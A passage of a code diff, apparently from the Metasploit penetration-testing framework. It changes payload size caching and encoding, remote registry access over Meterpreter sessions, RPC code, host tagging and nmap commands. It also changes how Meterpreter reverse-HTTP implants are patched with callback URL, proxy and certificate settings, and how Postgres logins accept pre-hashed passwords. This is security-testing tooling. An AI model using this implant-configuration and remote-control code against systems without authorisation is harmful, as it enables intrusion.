hash
end
end
end

View File

@ -184,6 +184,7 @@ module Msf
encoder_list.each do |encoder_mod|
cli_print "Attempting to encode payload with #{iterations} iterations of #{encoder_mod.refname}"
begin
encoder_mod.available_space = @space
return run_encoder(encoder_mod, shellcode.dup)
rescue ::Msf::EncoderSpaceViolation => e
cli_print "#{encoder_mod.refname} failed with #{e.message}"
@ -298,9 +299,11 @@ module Msf
end
payload_module.generate_simple(
'Format' => 'raw',
'Options' => datastore,
'Encoder' => nil
'Format' => 'raw',
'Options' => datastore,
'Encoder' => nil,
'MaxSize' => @space,
'DisableNops' => true
)
end
end

View File

@ -88,7 +88,7 @@ class PayloadSet < ModuleSet
# Cache the payload's size
begin
sizes[name] = p.new.size
sizes[name] = p.cached_size || p.new.size
# Don't cache generic payload sizes.
rescue NoCompatiblePayloadError
end
@ -155,7 +155,7 @@ class PayloadSet < ModuleSet
new_keys.push combined
# Cache the payload's size
sizes[combined] = p.new.size
sizes[combined] = p.cached_size || p.new.size
}
}
@ -236,7 +236,7 @@ class PayloadSet < ModuleSet
next if (handler and not p.handler_klass.ancestors.include?(handler))
# Check to see if the session classes match.
next if (session and not p.session.ancestors.include?(session))
next if (session and p.session and not p.session.ancestors.include?(session))
# Check for matching payload types
next if (payload_type and p.payload_type != payload_type)

View File

@ -439,12 +439,10 @@ protected
subkeys = []
root_key, base_key = session.sys.registry.splitkey(key)
perms = meterpreter_registry_perms(KEY_READ, view)
open_key = session.sys.registry.open_key(root_key, base_key, perms)
keys = open_key.enum_key
keys = session.sys.registry.enum_key_direct(root_key, base_key, perms)
keys.each { |subkey|
subkeys << subkey
}
open_key.close
return subkeys
rescue Rex::Post::Meterpreter::RequestError => e
return nil
@ -460,12 +458,10 @@ protected
vals = {}
root_key, base_key = session.sys.registry.splitkey(key)
perms = meterpreter_registry_perms(KEY_READ, view)
open_key = session.sys.registry.open_key(root_key, base_key, perms)
vals = open_key.enum_value
vals = session.sys.registry.enum_value_direct(root_key, base_key, perms)
vals.each { |val|
values << val.name
}
open_key.close
return values
rescue Rex::Post::Meterpreter::RequestError => e
return nil
@ -480,10 +476,8 @@ protected
value = nil
root_key, base_key = session.sys.registry.splitkey(key)
perms = meterpreter_registry_perms(KEY_READ, view)
open_key = session.sys.registry.open_key(root_key, base_key, perms)
v = open_key.query_value(valname)
v = session.sys.registry.query_value_direct(root_key, base_key, valname, perms)
value = v.data
open_key.close
rescue Rex::Post::Meterpreter::RequestError => e
return nil
end
@ -516,9 +510,8 @@ protected
begin
root_key, base_key = session.sys.registry.splitkey(key)
perms = meterpreter_registry_perms(KEY_WRITE, view)
open_key = session.sys.registry.open_key(root_key, base_key, perms)
open_key.set_value(valname, session.sys.registry.type2str(type), data)
open_key.close
session.sys.registry.set_value_direct(root_key, base_key,
valname, session.sys.registry.type2str(type), data, perms)
return true
rescue Rex::Post::Meterpreter::RequestError => e
return nil

View File

@ -31,7 +31,7 @@ class Client
def login(user,pass)
res = self.call("auth.login", user, pass)
if(not (res and res['result'] == "success"))
unless (res && res['result'] == "success")
raise RuntimeError, "authentication failed"
end
self.token = res['token']
@ -41,8 +41,8 @@ class Client
# Prepend the authentication token as the first parameter
# of every call except auth.login. Requires the
def call(meth, *args)
if(meth != "auth.login")
if(not self.token)
unless meth == "auth.login"
unless self.token
raise RuntimeError, "client not authenticated"
end
args.unshift(self.token)
@ -50,7 +50,7 @@ class Client
args.unshift(meth)
if not @cli
unless @cli
@cli = Rex::Proto::Http::Client.new(info[:host], info[:port], info[:context], info[:ssl], info[:ssl_version])
@cli.set_config(
:vhost => info[:host],
@ -69,10 +69,12 @@ class Client
res = @cli.send_recv(req)
@cli.close
if res and [200, 401, 403, 500].include?(res.code)
if res && [200, 401, 403, 500].include?(res.code)
resp = MessagePack.unpack(res.body)
if resp and resp.kind_of?(::Hash) and resp['error'] == true
# Boolean true versus truthy check required here;
# RPC responses such as { "error" => "Here I am" } and { "error" => "" } must be accommodated.
if resp && resp.kind_of?(::Hash) && resp['error'] == true
raise Msf::RPC::ServerException.new(resp['error_code'] || res.code, resp['error_message'] || resp['error_string'], resp['error_class'], resp['error_backtrace'])
end
@ -83,7 +85,7 @@ class Client
end
def close
if @cli and @cli.conn?
if @cli && @cli.conn?
@cli.close
end
@cli = nil

View File

@ -112,13 +112,13 @@ class Service
end
end
if not (req.headers["Content-Type"] and req.headers["Content-Type"] == "binary/message-pack")
unless (req.headers["Content-Type"] && req.headers["Content-Type"] == "binary/message-pack")
raise ArgumentError, "Invalid Content Type"
end
msg = MessagePack.unpack(req.body)
if not (msg and msg.kind_of?(::Array) and msg.length > 0)
unless (msg && msg.kind_of?(::Array) && msg.length > 0)
raise ArgumentError, "Invalid Message Format"
end
@ -126,7 +126,7 @@ class Service
group, funct = msg.shift.split(".", 2)
if not self.handlers[group]
unless self.handlers[group]
raise ArgumentError, "Unknown API Group: '#{group.inspect}'"
end
@ -138,13 +138,13 @@ class Service
mname << '_noauth'
end
if not self.handlers[group].respond_to?(mname)
unless self.handlers[group].respond_to?(mname)
raise ArgumentError, "Unknown API Call: '#{mname.inspect}'"
end
if doauth
token = msg.shift
if not authenticate(token)
unless authenticate(token)
raise ::Msf::RPC::Exception.new(401, "Invalid Authentication Token")
end
end
@ -203,7 +203,7 @@ class Service
stale = []
if not (token and token.kind_of?(::String))
unless (token && token.kind_of?(::String))
return false
end
@ -212,17 +212,17 @@ class Service
self.tokens.each_key do |t|
user,ctime,mtime,perm = self.tokens[t]
if ! perm and mtime + self.token_timeout < Time.now.to_i
if !perm && mtime + self.token_timeout < Time.now.to_i
stale << t
end
end
stale.each { |t| self.tokens.delete(t) }
if not self.tokens[token]
unless self.tokens[token]
begin
if framework.db.active and ::Mdm::ApiKey.find_by_token(token)
if framework.db.active && ::Mdm::ApiKey.find_by_token(token)
return true
end
rescue ::Exception => e

View File

@ -243,16 +243,16 @@ class Core
args.each do |res|
good_res = nil
if (File.file? res and File.readable? res)
if ::File.exists?(res)
good_res = res
elsif
# let's check to see if it's in the scripts/resource dir (like when tab completed)
[
::Msf::Config.script_directory + File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + File::SEPARATOR + "resource"
::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
].each do |dir|
res_path = dir + File::SEPARATOR + res
if (File.file?(res_path) and File.readable?(res_path))
res_path = dir + ::File::SEPARATOR + res
if ::File.exists?(res_path)
good_res = res_path
break
end

View File

@ -219,12 +219,104 @@ class Db
cmd_hosts("-h")
end
def change_host_info(rws, data)
if rws == [nil]
print_error("In order to change the host info, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
id = framework.db.get_host(:address => ip).id
framework.db.hosts.update(id, :info => data)
framework.db.report_note(:host => ip, :type => 'host.info', :data => data)
end
end
end
def change_host_name(rws, data)
if rws == [nil]
print_error("In order to change the host name, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
id = framework.db.get_host(:address => ip).id
framework.db.hosts.update(id, :name => data)
framework.db.report_note(:host => ip, :type => 'host.name', :data => data)
end
end
end
def change_host_comment(rws, data)
if rws == [nil]
print_error("In order to change the comment, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
id = framework.db.get_host(:address => ip).id
framework.db.hosts.update(id, :comments => data)
framework.db.report_note(:host => ip, :type => 'host.comments', :data => data)
end
end
end
def add_host_tag(rws, tag_name)
if rws == [nil]
print_error("In order to add a tag, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
wspace = framework.db.workspace
host = framework.db.get_host(:workspace => wspace, :address => ip)
if host
possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1)
tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first)
tag.name = tag_name
tag.hosts = [host]
tag.save! if tag.changed?
end
end
end
end
def delete_host_tag(rws, tag_name)
wspace = framework.db.workspace
tag_ids = []
if rws == [nil]
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name)
found_tags.each do |t|
tag_ids << t.id
end
else
rws.each do |rw|
rw.each do |ip|
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name)
found_tags.each do |t|
tag_ids << t.id
end
end
end
end
tag_ids.each do |id|
tag = Mdm::Tag.find_by_id(id)
tag.hosts.delete
tag.destroy
end
end
def cmd_hosts(*args)
return unless active?
::ActiveRecord::Base.connection_pool.with_connection {
onlyup = false
set_rhosts = false
mode = :search
mode = []
delete_count = 0
rhosts = []
@ -233,7 +325,8 @@ class Db
output = nil
default_columns = ::Mdm::Host.column_names.sort
virtual_columns = [ 'svcs', 'vulns', 'workspace' ]
default_columns << 'tags' # Special case
virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
@ -241,9 +334,9 @@ class Db
while (arg = args.shift)
case arg
when '-a','--add'
mode = :add
mode << :add
when '-d','--delete'
mode = :delete
mode << :delete
when '-c'
list = args.shift
if(!list)
@ -266,7 +359,18 @@ class Db
set_rhosts = true
when '-S', '--search'
search_term = /#{args.shift}/nmi
when '-i', '--info'
mode << :new_info
info_data = args.shift
when '-n', '--name'
mode << :new_name
name_data = args.shift
when '-m', '--comment'
mode << :new_comment
comment_data = args.shift
when '-t', '--tag'
mode << :tag
tag_name = args.shift
when '-h','--help'
print_line "Usage: hosts [ options ] [addr1 addr2 ...]"
print_line
@ -279,6 +383,10 @@ class Db
print_line " -o <file> Send output to a file in csv format"
print_line " -R,--rhosts Set RHOSTS from the results of the search"
print_line " -S,--search Search string to filter by"
print_line " -i,--info Change the info of a host"
print_line " -n,--name Change the name of a host"
print_line " -m,--comment Change the comment of a host"
print_line " -t,--tag Add or specify a tag to a range of hosts"
print_line
print_line "Available columns: #{default_columns.join(", ")}"
print_line
@ -297,7 +405,9 @@ class Db
col_names = default_columns + virtual_columns
end
if mode == :add
mode << :search if mode.empty?
if mode == [:add]
host_ranges.each do |range|
range.each do |address|
host = framework.db.find_or_create_host(:host => address)
@ -317,11 +427,41 @@ class Db
# Sentinal value meaning all
host_ranges.push(nil) if host_ranges.empty?
case
when mode == [:new_info]
change_host_info(host_ranges, info_data)
return
when mode == [:new_name]
change_host_name(host_ranges, name_data)
return
when mode == [:new_comment]
change_host_comment(host_ranges, comment_data)
return
when mode == [:tag]
begin
add_host_tag(host_ranges, tag_name)
rescue ::Exception => e
if e.message.include?('Validation failed')
print_error(e.message)
else
raise e
end
end
return
when mode.include?(:tag) && mode.include?(:delete)
delete_host_tag(host_ranges, tag_name)
return
end
each_host_range_chunk(host_ranges) do |host_search|
framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host|
if search_term
next unless host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) }
next unless (
host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } ||
!Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).order("tags.id DESC").empty?
)
end
columns = col_names.map do |n|
# Deal with the special cases
if virtual_columns.include?(n)
@ -329,6 +469,11 @@ class Db
when "svcs"; host.services.length
when "vulns"; host.vulns.length
when "workspace"; host.workspace.name
when "tags"
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC")
tag_names = []
found_tags.each { |t| tag_names << t.name }
found_tags * ", "
end
# Otherwise, it's just an attribute
else
@ -341,7 +486,7 @@ class Db
addr = (host.scope ? host.address + '%' + host.scope : host.address )
rhosts << addr
end
if mode == :delete
if mode == [:delete]
host.destroy
delete_count += 1
end
@ -1594,11 +1739,18 @@ class Db
print_status("Usage: db_nmap [nmap options]")
return
end
save = false
if args.include?("save")
save = active?
args.delete("save")
arguments = []
while (arg = args.shift)
case arg
when 'save'
save = active?
when '--help', '-h'
cmd_db_nmap_help
return
else
arguments << arg
end
end
nmap =
@ -1621,15 +1773,15 @@ class Db
# Custom function needed because cygpath breaks on 8.3 dirs
tout = Rex::Compat.cygwin_to_win32(fd.path)
fout = Rex::Compat.cygwin_to_win32(fo.path)
args.push('-oX', tout)
args.push('-oN', fout)
arguments.push('-oX', tout)
arguments.push('-oN', fout)
else
args.push('-oX', fd.path)
args.push('-oN', fo.path)
arguments.push('-oX', fd.path)
arguments.push('-oN', fo.path)
end
begin
nmap_pipe = ::Open3::popen3([nmap, "nmap"], *args)
nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments)
temp_nmap_threads = []
temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1|
np_1.each_line do |nmap_out|
@ -1662,6 +1814,45 @@ class Db
}
end
def cmd_db_nmap_help
nmap =
Rex::FileUtils.find_full_path('nmap') ||
Rex::FileUtils.find_full_path('nmap.exe')
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
stdout.each_line do |out_line|
next if out_line.strip.empty?
print_status(out_line.strip)
end
stderr.each_line do |err_line|
next if err_line.strip.empty?
print_error(err_line.strip)
end
end
def cmd_db_nmap_tabs(str, words)
nmap =
Rex::FileUtils.find_full_path('nmap') ||
Rex::FileUtils.find_full_path('nmap.exe')
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
tabs = []
stdout.each_line do |out_line|
if out_line.strip.starts_with?('-')
tabs.push(out_line.strip.split(':').first)
end
end
stderr.each_line do |err_line|
next if err_line.strip.empty?
print_error(err_line.strip)
end
tabs
end
#
# Store some locally-generated data as a file, similiar to store_loot.
#
@ -1687,12 +1878,12 @@ class Db
return if not db_check_driver
if framework.db.connection_established?
cdb = ""
::ActiveRecord::Base.connection_pool.with_connection { |conn|
if conn.respond_to? :current_database
cdb = ''
::ActiveRecord::Base.connection_pool.with_connection do |conn|
if conn.respond_to?(:current_database)
cdb = conn.current_database
end
}
end
print_status("#{framework.db.driver} connected to #{cdb}")
else
print_status("#{framework.db.driver} selected, no connection")
@ -1706,6 +1897,17 @@ class Db
def cmd_db_connect(*args)
return if not db_check_driver
if args[0] != '-h' && framework.db.connection_established?
cdb = ''
::ActiveRecord::Base.connection_pool.with_connection do |conn|
if conn.respond_to?(:current_database)
cdb = conn.current_database
end
end
print_error("#{framework.db.driver} already connected to #{cdb}")
print_error('Run db_disconnect first if you wish to connect to a different database')
return
end
if (args[0] == "-y")
if (args[1] and not ::File.exists? ::File.expand_path(args[1]))
print_error("File not found")

View File

@ -235,7 +235,8 @@ class Driver < Msf::Ui::Driver
# Process any resource scripts
if opts['Resource'].blank?
# None given, load the default
load_resource(File.join(Msf::Config.config_directory, 'msfconsole.rc'))
default_resource = ::File.join(Msf::Config.config_directory, 'msfconsole.rc')
load_resource(default_resource) if ::File.exists?(default_resource)
else
opts['Resource'].each { |r|
load_resource(r)
@ -420,9 +421,10 @@ class Driver < Msf::Ui::Driver
if path == '-'
resource_file = $stdin.read
path = 'stdin'
elsif ::File.readable?(path)
elsif ::File.exists?(path)
resource_file = ::File.read(path)
else
print_error("Cannot find resource script: #{path}")
return
end

View File

@ -0,0 +1,89 @@
# -*- coding: binary -*-
###
#
#
###
module Msf
module Util
#
# The class provides helper methods for verifying and updating the embedded CachedSize
# constant within payload modules.
#
class PayloadCachedSize
# Insert a new CachedSize value into the text of a payload module
#
# @param data [String] The source code of a payload module
# @param cached_size [String] The new value for cached_size, which
# which should be either numeric or the string :dynamic
# @return [String]
def self.update_cache_constant(data, cached_size)
data.
gsub(/^\s*CachedSize\s*=\s*(\d+|:dynamic).*/, '').
gsub(/^(module Metasploit\d+)\s*\n/) do |m|
"#{m.strip}\n\n CachedSize = #{cached_size}\n\n"
end
end
# Insert a new CachedSize value into a payload module file
#
# @param mod [Msf::Payload] The class of the payload module to update
# @param cached_size [String] The new value for cached_size, which
# which should be either numeric or the string :dynamic
# @return [void]
def self.update_cached_size(mod, cached_size)
mod_data = ""
::File.open(mod.file_path, 'rb') do |fd|
mod_data = fd.read(fd.stat.size)
end
::File.open(mod.file_path, 'wb') do |fd|
fd.write update_cache_constant(mod_data, cached_size)
end
end
# Updates the payload module specified with the current CachedSize
#
# @param mod [Msf::Payload] The class of the payload module to update
# @return [void]
def self.update_module_cached_size(mod)
update_cached_size(mod, compute_cached_size(mod))
end
# Calculates the CachedSize value for a payload module
#
# @param mod [Msf::Payload] The class of the payload module to update
# @return [Fixnum]
def self.compute_cached_size(mod)
return ":dynamic" if is_dynamic?(mod)
return mod.new.size
end
# Determines whether a payload generates a static sized output
#
# @param mod [Msf::Payload] The class of the payload module to update
# @param generation_count [Fixnum] The number of iterations to use to
# verify that the size is static.
# @return [Fixnum]
def self.is_dynamic?(mod,generation_count=5)
[*(1..generation_count)].map{|x| mod.new.size}.uniq.length != 1
end
# Determines whether a payload's CachedSize is up to date
#
# @param mod [Msf::Payload] The class of the payload module to update
# @return [Boolean]
def self.is_cached_size_accurate?(mod)
return true if mod.dynamic_size?
return false if mod.cached_size.nil?
mod.cached_size == mod.new.size
end
end
end
end

View File

@ -19,6 +19,9 @@ module PostgresPR
PROTO_VERSION = 3 << 16 #196608
class AuthenticationMethodMismatch < StandardError
end
class Connection
# Allow easy access to these instance variables
@ -58,7 +61,10 @@ class Connection
@transaction_status = nil
@params = {}
establish_connection(uri)
# Check if the password supplied is a Postgres-style md5 hash
md5_hash_match = password.match(/^md5([a-f0-9]{32})$/)
@conn << StartupMessage.new(PROTO_VERSION, 'user' => user, 'database' => database).dump
loop do
@ -67,19 +73,24 @@ class Connection
case msg
when AuthentificationClearTextPassword
raise ArgumentError, "no password specified" if password.nil?
raise AuthenticationMethodMismatch, "Server expected clear text password auth" if md5_hash_match
@conn << PasswordMessage.new(password).dump
when AuthentificationCryptPassword
raise ArgumentError, "no password specified" if password.nil?
raise AuthenticationMethodMismatch, "Server expected crypt password auth" if md5_hash_match
@conn << PasswordMessage.new(password.crypt(msg.salt)).dump
when AuthentificationMD5Password
raise ArgumentError, "no password specified" if password.nil?
require 'digest/md5'
m = Digest::MD5.hexdigest(password + user)
if md5_hash_match
m = md5_hash_match[1]
else
m = Digest::MD5.hexdigest(password + user)
end
m = Digest::MD5.hexdigest(m + msg.salt)
m = 'md5' + m
@conn << PasswordMessage.new(m).dump
when AuthentificationKerberosV4, AuthentificationKerberosV5, AuthentificationSCMCredential

View File

@ -46,7 +46,7 @@ class Egghunter
startreg = opts[:startreg]
searchforward = opts[:searchforward]
raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
raise RuntimeError, "Invalid egg string! Need 4 bytes." if opts[:eggtag].length != 4
marker = "0x%x" % opts[:eggtag].unpack('V').first
checksum = checksum_stub(payload, badchars, opts)

View File

@ -181,7 +181,8 @@ module Rex
data = ''
while data.length < size_wanted
data << @file_handler.read(size_wanted - data.length)
# Use a 4Mb block size to avoid target memory consumption
data << @file_handler.read([size_wanted - data.length, 2**22].min)
end
attribut << data
end
@ -196,8 +197,11 @@ module Rex
#
# return the attribute list from the MFT record
# deal with resident and non resident attributes (but not $DATA due to performance issue)
# if lazy = True, this function only gather essential non resident attributes
# (INDEX_ALLOCATION). Non resident attributes can still be gathered later with
# cluster_from_attribute_non_resident function.
#
def mft_record_attribute(mft_record)
def mft_record_attribute(mft_record, lazy=true)
attribute_list_offset = mft_record[20, 2].unpack('C')[0]
curs = attribute_list_offset
attribute_identifier = mft_record[curs, 4].unpack('V')[0]
@ -213,10 +217,11 @@ module Rex
res[attribute_identifier] = mft_record[curs + content_offset, content_size]
else
# non resident
if attribute_identifier == DATA_ATTRIBUTE_ID
res[attribute_identifier] = mft_record[curs, attribute_size]
else
if attribute_identifier == INDEX_ALLOCATION_ID or
(!lazy and attribute_identifier != DATA_ATTRIBUTE_ID)
res[attribute_identifier] = cluster_from_attribute_non_resident(mft_record[curs, attribute_size])
else
res[attribute_identifier] = mft_record[curs, attribute_size]
end
end
if attribute_identifier == DATA_ATTRIBUTE_ID

View File

@ -0,0 +1,92 @@
# -*- coding: binary -*-
require 'openssl'
module Rex
module Parser
###
#
# This class parses the contents of a PEM-encoded X509 certificate file containing
# a private key, a public key, and any appended glue certificates.
#
###
class X509Certificate
#
# Parse a certificate in unified PEM format that contains a private key and
# one or more certificates. The first certificate is the primary, while any
# additional certificates are treated as intermediary certificates. This emulates
# the behavior of web servers like nginx.
#
# @param [String] ssl_cert
# @return [String, String, Array]
def self.parse_pem(ssl_cert)
cert = nil
key = nil
chain = nil
certs = []
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
if pem =~ /PRIVATE KEY/
key = OpenSSL::PKey::RSA.new(pem)
elsif pem =~ /CERTIFICATE/
certs << OpenSSL::X509::Certificate.new(pem)
end
end
cert = certs.shift
if certs.length > 0
chain = certs
end
[key, cert, chain]
end
#
# Parse a certificate in unified PEM format from a file
#
# @param [String] ssl_cert_file
# @return [String, String, Array]
def self.parse_pem_file(ssl_cert_file)
data = ''
::File.open(ssl_cert_file, 'rb') do |fd|
data << fd.read(fd.stat.size)
end
parse_pem(data)
end
#
# Parse a certificate in unified PEM format and retrieve
# the SHA1 hash.
#
# @param [String] ssl_cert
# @return [String]
def self.get_cert_hash(ssl_cert)
hcert = parse_pem(ssl_cert)
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate"
end
Rex::Text.sha1_raw(hcert[1].to_der)
end
#
# Parse a file that contains a certificate in unified PEM
# format and retrieve the SHA1 hash.
#
# @param [String] ssl_cert_file
# @return [String]
def self.get_cert_file_hash(ssl_cert_file)
data = ''
::File.open(ssl_cert_file, 'rb') do |fd|
data << fd.read(fd.stat.size)
end
get_cert_hash(data)
end
end
end
end

View File

@ -11,29 +11,23 @@ module Rex
module Patch
# Replace the transport string
def self.patch_transport! blob, ssl
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
blob[i, str.length] = str
end
def self.patch_transport!(blob, ssl)
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
end
# Replace the URL
def self.patch_url! blob, url
i = blob.index("https://" + ("X" * 256))
if i
str = url
blob[i, str.length] = str
def self.patch_url!(blob, url)
unless patch_string!(blob, "https://#{'X' * 512}", url)
# If the patching failed this could mean that we are somehow
# working with outdated binaries, so try to patch with the
# old stuff.
patch_string!(blob, "https://#{'X' * 256}", url)
end
end
# Replace the session expiration timeout
def self.patch_expiration! blob, expiration
def self.patch_expiration!(blob, expiration)
i = blob.index([0xb64be661].pack("V"))
if i
@ -44,7 +38,7 @@ module Rex
end
# Replace the session communication timeout
def self.patch_comm_timeout! blob, comm_timeout
def self.patch_comm_timeout!(blob, comm_timeout)
i = blob.index([0xaf79257f].pack("V"))
if i
@ -55,81 +49,110 @@ module Rex
end
# Replace the user agent string with our option
def self.patch_ua! blob, ua
ua = ua[0,255] + "\x00"
i = blob.index("METERPRETER_UA\x00")
if i
blob[i, ua.length] = ua
end
def self.patch_ua!(blob, ua)
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
end
# Activate a custom proxy
def self.patch_proxy! blob, proxyhost, proxyport, proxy_type
def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
if i
if proxyhost
if proxyhost.to_s != ""
proxyhost = proxyhost.to_s
proxyport = proxyport.to_s || "8080"
proxyinfo = proxyhost + ":" + proxyport
if proxyport == "80"
proxyinfo = proxyhost
end
if proxy_type.to_s == 'HTTP'
proxyinfo = 'http://' + proxyinfo
else #socks
proxyinfo = 'socks=' + proxyinfo
end
proxyinfo << "\x00"
blob[i, proxyinfo.length] = proxyinfo
end
if proxyhost && proxyhost.to_s != ""
proxyhost = proxyhost.to_s
proxyport = proxyport.to_s || "8080"
proxyinfo = proxyhost + ":" + proxyport
if proxyport == "80"
proxyinfo = proxyhost
end
if proxy_type.to_s == 'HTTP'
proxyinfo = 'http://' + proxyinfo
else #socks
proxyinfo = 'socks=' + proxyinfo
end
proxyinfo << "\x00"
patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo)
end
end
# Proxy authentification
def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type
def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
unless (proxy_username.nil? or proxy_username.empty?) or
(proxy_password.nil? or proxy_password.empty?) or
proxy_type == 'SOCKS'
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
proxy_username = proxy_username << "\x00"
blob[proxy_username_loc, proxy_username.length] = proxy_username
patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}",
proxy_username + "\x00")
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
proxy_password = proxy_password << "\x00"
blob[proxy_password_loc, proxy_password.length] = proxy_password
patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}",
proxy_password + "\x00")
end
end
# Patch options into metsrv for reverse HTTP payloads
def self.patch_passive_service! blob, options
# Patch the ssl cert hash
def self.patch_ssl_check!(blob, ssl_cert_hash)
# SSL cert location is an ASCII string, so no need for
# WCHAR support
if ssl_cert_hash
i = blob.index("METERPRETER_SSL_CERT_HASH\x00")
if i
blob[i, ssl_cert_hash.length] = ssl_cert_hash
end
end
end
patch_transport! blob, options[:ssl]
patch_url! blob, options[:url]
patch_expiration! blob, options[:expiration]
patch_comm_timeout! blob, options[:comm_timeout]
patch_ua! blob, options[:ua]
# Patch options into metsrv for reverse HTTP payloads
def self.patch_passive_service!(blob, options)
patch_transport!(blob, options[:ssl])
patch_url!(blob, options[:url])
patch_expiration!(blob, options[:expiration])
patch_comm_timeout!(blob, options[:comm_timeout])
patch_ua!(blob, options[:ua])
patch_ssl_check!(blob, options[:ssl_cert_hash])
patch_proxy!(blob,
options[:proxyhost],
options[:proxyport],
options[:proxy_host],
options[:proxy_port],
options[:proxy_type]
)
patch_proxy_auth!(blob,
options[:proxy_username],
options[:proxy_password],
options[:proxy_user],
options[:proxy_pass],
options[:proxy_type]
)
end
#
# Patch an ASCII value in the given payload. If not found, try WCHAR instead.
#
def self.patch_string!(blob, search, replacement)
result = false
i = blob.index(search)
if i
blob[i, replacement.length] = replacement
result = true
else
i = blob.index(wchar(search))
if i
r = wchar(replacement)
blob[i, r.length] = r
result = true
end
end
result
end
private
#
# Convert the given ASCII string into a WCHAR string (dumb, but works)
#
def self.wchar(str)
str.to_s.unpack("C*").pack("v*")
end
end
end
end

View File

@ -40,6 +40,40 @@ class ClientCore < Extension
# Core commands
#
##
#
#
# Get a list of loaded commands for the given extension.
#
def get_loaded_extension_commands(extension_name)
request = Packet.create_request('core_enumextcmd')
request.add_tlv(TLV_TYPE_STRING, extension_name)
begin
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
rescue
# In the case where orphaned shells call back with OLD copies of the meterpreter
# binaries, we end up with a case where this fails. So here we just return the
# empty list of supported commands.
return []
end
# No response?
if response.nil?
raise RuntimeError, "No response was received to the core_enumextcmd request.", caller
elsif response.result != 0
# This case happens when the target doesn't support the core_enumextcmd message.
# If this is the case, then we just want to ignore the error and return an empty
# list. This will force the caller to load any required modules.
return []
end
commands = []
response.each(TLV_TYPE_STRING) { |c|
commands << c.value
}
commands
end
#
# Loads a library on the remote meterpreter instance. This method
@ -153,25 +187,36 @@ class ClientCore < Extension
if mod.nil?
raise RuntimeError, "No modules were specified", caller
end
# Get us to the installation root and then into data/meterpreter, where
# the file is expected to be
modname = "ext_server_#{mod.downcase}"
path = MeterpreterBinaries.path(modname, client.binary_suffix)
if opts['ExtensionPath']
path = ::File.expand_path(opts['ExtensionPath'])
# Query the remote instance to see if commands for the extension are
# already loaded
commands = get_loaded_extension_commands(mod.downcase)
# if there are existing commands for the given extension, then we can use
# what's already there
unless commands.length > 0
# Get us to the installation root and then into data/meterpreter, where
# the file is expected to be
modname = "ext_server_#{mod.downcase}"
path = MeterpreterBinaries.path(modname, client.binary_suffix)
if opts['ExtensionPath']
path = ::File.expand_path(opts['ExtensionPath'])
end
if path.nil?
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
end
# Load the extension DLL
commands = load_library(
'LibraryFilePath' => path,
'UploadLibrary' => true,
'Extension' => true,
'SaveToDisk' => opts['LoadFromDisk'])
end
if path.nil?
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
end
# Load the extension DLL
commands = load_library(
'LibraryFilePath' => path,
'UploadLibrary' => true,
'Extension' => true,
'SaveToDisk' => opts['LoadFromDisk'])
# wire the commands into the client
client.add_extension(mod, commands)
return true
@ -411,11 +456,11 @@ class ClientCore < Extension
:expiration => self.client.expiration,
:comm_timeout => self.client.comm_timeout,
:ua => client.exploit_datastore['MeterpreterUserAgent'],
:proxyhost => client.exploit_datastore['PROXYHOST'],
:proxyport => client.exploit_datastore['PROXYPORT'],
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
